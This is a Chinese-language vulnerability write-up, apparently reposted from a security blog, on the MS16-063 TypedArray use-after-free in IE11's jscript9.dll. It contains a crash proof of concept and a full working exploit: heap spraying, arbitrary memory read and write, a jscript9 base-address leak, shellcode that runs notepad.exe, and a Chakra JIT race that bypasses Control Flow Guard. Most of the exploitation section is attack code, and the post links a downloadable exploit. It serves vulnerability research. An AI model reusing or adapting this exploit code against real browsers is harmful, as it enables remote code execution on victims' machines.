Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

MS16-063 IE11 jscript9.dll TypedArray UAF漏洞分析及利用(Windows 10 Bypass CFG)

0
0
1. 漏洞分析

由于是关于堆的漏洞,为了调试方便开启 HPA 和 UST ,打开POC页面

<html> <div> <script> function pwn() { var ab = new ArrayBuffer(1000 * 1024); var ia = new Int8Array(ab); detach(ab); setTimeout(main, 50, ia); function detach(ab) { postMessage("", "*", [ab]); } function main(ia) { ia[100] = 0x41414141; } } setTimeout(pwn, 50); </script> </div> </div> 立即造成Crash
MS16-063 IE11 jscript9.dll TypedArray UAF漏洞分析及利用(Windows 10 Bypass CFG)
看下 esi 指向的堆
MS16-063 IE11 jscript9.dll TypedArray UAF漏洞分析及利用(Windows 10 Bypass CFG)
可以看到 esi 指向了释放的堆,并从释放时的栈回溯来看是由 postMessage("", "*", [ab]) 释放的,再看下Crash时的栈回溯,从这大概可以猜到是由于 ia[100] = 0x41414141 向释放后的堆赋值导致Crash
MS16-063 IE11 jscript9.dll TypedArray UAF漏洞分析及利用(Windows 10 Bypass CFG)
看下 Js::TypedArray<char,0>::DirectSetItem 函数可以发现在赋值时并没有检测本身是否已经释放,这样就可能导致UAF,同样这个问题也存在于 DirectGetItem 函数中
MS16-063 IE11 jscript9.dll TypedArray UAF漏洞分析及利用(Windows 10 Bypass CFG)
2. 漏洞利用

windows 7下的利用较简单,这里主要分析下Windows 10下利用Chakra JIT绕过CFG的EXP, Chakra JIT主要是为多次调用的函数或循环生成优化的JIT代码,在最后会通过Encoder生成本地代码,在这期间会用一个buffer来临时存放本地代码,再将buffer存到可执行内存,最后按照CFG的机制执行,如果在buffer存到可执行内存前修改其内容,这样就可以绕过CFG,下面是参考 https://github.com/theori-io/jscript9-typedarray-cfg 的EXP

<!DOCTYPE html> <div> <div> <script> var arr = new Array(100000); var ab2 = new ArrayBuffer(0x1337); // 调用VirtualProtect修改内存为可执行并跳到shellcode var scbytes = new Array(0xbe, 0x41, 0x41, 0x41, 0x41, 0xb9, 0x41, 0x41, 0x41, 0x41, 0x54, 0x6a, 0x40, 0x6a, 0x7f, 0x56, 0xff, 0x11, 0xff, 0xe6); var scarray = new Uint8Array(new Array(scbytes.length)); scarray.set(scbytes, 0); // 使用Uint8Array分配LFH,对释放的堆进行占位 function sprayHeap() { for (var i = 0; i < 10000; i++) { arr[i] = new Uint8Array(ab2); } } function pwn() { var lengthIdx; var mv; var jscript9Base; var ab = new ArrayBuffer(1024*1024*2); var ia = new Int8Array(ab); detach(ab); setTimeout(main, 500, ia); function detach(ab) { postMessage("", "*", [ab]); } function ub(sb) { return (sb < 0) ? sb + 0x100 : sb; } // 修改TypedArray的buffer地址来实现任意读写 function setAddress(addr) { ia[lengthIdx + 4] = addr & 0xFF; ia[lengthIdx + 4 + 1] = (addr >> 8) & 0xFF; ia[lengthIdx + 4 + 2] = (addr >> 16) & 0xFF; ia[lengthIdx + 4 + 3] = (addr >> 24) & 0xFF; } function readN(addr, n) { if (n != 4 && n != 8) return 0; setAddress(addr); var ret = 0; for (var i = 0; i < n; i++) ret |= (mv[i] << (i * 8)) return ret; } function writeN(addr, val, n) { if (n != 2 && n != 4 && n != 8) return; setAddress(addr); for (var i = 0; i < n; i++) mv[i] = (val >> (i * 8)) & 0xFF } function main(ia) { // 占位 sprayHeap(); for (var i = 0; ia[i] != 0x37 || ia[i+1] != 0x13 || ia[i+2] != 0x00 || ia[i+3] != 0x00; i++) { if (ia[i] === undefined) { window.alert(':( ' + i.toString()); } } ia[i]++; lengthIdx = i; try { for (var i = 0; arr[i].length != 0x1338; i++); } catch (e) { window.alert(':( ' + i.toString()); } // 找到可控制的TypedArray mv = arr[i]; var shcodeAddr = ub(ia[lengthIdx + 4]) | ub(ia[lengthIdx + 4 + 1]) << 8 | ub(ia[lengthIdx + 4 + 2]) << 16 | ub(ia[lengthIdx + 4 + 3]) << 24; // 泄漏TypedArray的vftable地址 var vtable = ub(ia[lengthIdx - 0x1c]) | ub(ia[lengthIdx - 0x1b]) << 8 | ub(ia[lengthIdx - 0x1a]) << 16 | ub(ia[lengthIdx - 0x19]) << 24; // 泄漏jscript9模块的基址 jscript9Base = (vtable - 0x1cc1c) & 0xFFFF0000; var vpaddr = jscript9Base + 0x33610C; // 填充shellcode和VirtualProtect的地址 scbytes[1] = (shcodeAddr>>0) & 0xff; scbytes[2] = (shcodeAddr>>8) & 0xff; scbytes[3] = (shcodeAddr>>16) & 0xff; scbytes[4] = (shcodeAddr>>24) & 0xff; scbytes[6] = (vpaddr>>0) & 0xff; scbytes[7] = (vpaddr>>8) & 0xff; scbytes[8] = (vpaddr>>16) & 0xff; scbytes[9] = (vpaddr>>24) & 0xff; // shellcode var stage2 = [ 0x0089E8FC, 0x89600000, 0x64D231E5, 0x8B30528B, 0x528B0C52, 0x28728B14, 0x264AB70F, 0xC031FF31, 0x7C613CAC, 0xC1202C02, 0xC7010DCF, 0x5752F0E2, 0x8B10528B, 0xD0013C42, 0x8578408B, 0x014A74C0, 0x488B50D0, 0x20588B18, 0x3CE3D301, 0x8B348B49, 0xFF31D601, 0xC1ACC031, 0xC7010DCF, 0xF475E038, 0x3BF87D03, 0xE275247D, 0x24588B58, 0x8B66D301, 0x588B4B0C, 0x8BD3011C, 0xD0018B04, 0x24244489, 0x59615B5B, 0xE0FF515A, 0x8B5A5F58, 0x5D86EB12, 0x858D016A, 0x000000B9, 0x8B316850, 0xD5FF876F, 0x320EFEBB, 0x95A668EA, 0xD5FF9DBD, 0x0A7C063C, 0x75E0FB80, 0x1347BB05, 0x006A6F72, 0x6ED5FF53, 0x7065746F, 0x652E6461, 0x00006578 ]; // 写shellcode for (var i = 0; i < stage2.length; i++) writeN(shcodeAddr + i * 4, stage2[i], 4); // 利用Chakra JIT绕过CFG // The plan: // - trigger JIT // - find JIT buffer // - modify JIT buffer // construct a "large" function // XXX this could be improved var code = "var i = 10; var j = 1; "; for (var i = 0; i < 6000; i++) { code += "i *= i + j.toString();"; } code += "return i.toString();" f = Function(code); // find the ThreadContext var tctx = readN(jscript9Base + 0x335060, 4); // BackgroundJobProcessor var bgjob = readN(tctx + 0x3b0, 4); // PageAllocator var pgalloc = bgjob + 0x1c; var buf; var race = function() { // find the large segment (should be exactly one) var largeseg = readN(pgalloc + 0x24, 4); // check if the list was empty if (largeseg == pgalloc + 0x24) return false; // get the address of the actual data var page = readN(largeseg + 8 + 8, 4); if (page == 0) return false; buf = page + 0x18; // overwrite the emitted instructions // but avoid overwriting addresses that will be relocated setAddress(buf); mv[0] = 0xeb; mv[1] = 0x34; setAddress(buf + 0x36); mv.set(scbytes, 0); return true; }; for (var i = 0; i < 1000; i++) { // warm-up race(); } for (var i = 0; i < 1000; i++) { // trigger jit f.call(); } while (!race()) { // wait until we overwrite in-progress jit block } for (var i = 0; i < 1000; i++) { // call overwritten jit block f.call(); } } } setTimeout(pwn, 50); </script> </div> </div>

最后利用成功执行notepad.exe


MS16-063 IE11 jscript9.dll TypedArray UAF漏洞分析及利用(Windows 10 Bypass CFG)

测试环境

操作系统:Windows 10 x86 专业版 IE版本:11.0.10240.16384

完整EXP下载: https://github.com/birdg0/exp/blob/master/browser/ie11-ms16-063-bypass-cfg-exp.html

3. 参考 http://theori.io/research/jscript9_typed_array http://theori.io/research/chakra-jit-cfg-bypass

Viewing all articles
Browse latest Browse all 12749